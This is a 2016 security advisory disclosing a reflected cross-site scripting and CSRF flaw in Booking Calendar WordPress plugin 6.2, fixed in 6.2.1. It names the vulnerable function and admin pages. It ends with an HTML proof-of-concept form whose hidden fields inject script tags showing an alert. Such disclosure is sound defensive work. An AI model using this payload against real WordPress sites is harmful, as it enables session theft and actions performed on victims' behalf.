Edwin Molenaar, July 2016

Cross-Site Scripting vulnerability in Booking Calendar WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Booking Calendar WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160714-0003

Tested versions

These issues were successfully tested on Booking Calendar WordPress Plugin version 6.2.

Fix

This issue is resolved in Booking Calendar version 6.2.1.

Introduction

The Booking Calendar WordPress Plugin is a booking system for online reservation and availability checking service for your site. A Reflected Cross-Site Scripting vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to perform any action with the privileges of the target user. The affected code is not protected with an anti-Cross-Site Request Forgery token. Consequently, it can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Details

The vulnerability exists in the wpdev_bk_settings_form_labels() function from booking/lib/wpdev-settings-general.php (line 1492).

All input field on the Booking > Settings > Fields page are vulnerable to Cross-Site Scripting, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=form.

Also all the form from the Booking > Settings > Import tab are vulnerable to Cross-Site Scripting, however a valid anti-CSRF token in this tab is required, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=sync.

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=form" method="POST">
         <input type="hidden" name="booking&#95;form&#95;field&#95;label1" value="&quot;&gt;&lt;script&gt;alert&#40;document&#46;domain&#41;&lt;&#47;script&gt;" />
         <input type="hidden" name="booking&#95;form&#95;field&#95;label2" value="&quot;&gt;&lt;script&gt;alert&#40;document&#46;domain&#41;&lt;&#47;script&gt;" />
         <input type="hidden" name="booking&#95;form&#95;field&#95;label3" value="&quot;&gt;&lt;script&gt;alert&#40;document&#46;domain&#41;&lt;&#47;script&gt;" />
         <input type="hidden" name="booking&#95;form&#95;field&#95;label6" value="&quot;&gt;&lt;script&gt;alert&#40;document&#46;domain&#41;&lt;&#47;script&gt;" />
         <input type="hidden" name="booking&#95;form&#95;field&#95;values6" value="" />
         <input type="hidden" name="booking&#95;form&#95;field&#95;label4" value="&quot;&gt;&lt;script&gt;alert&#40;document&#46;domain&#41;&lt;&#47;script&gt;" />
         <input type="hidden" name="booking&#95;form&#95;field&#95;active4" value="On" />
         <input type="hidden" name="booking&#95;form&#95;field&#95;label5" value="&quot;&gt;&lt;script&gt;alert&#40;document&#46;domain&#41;&lt;&#47;script&gt;" />
         <input type="hidden" name="Submit" value="Save&#32;Changes" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>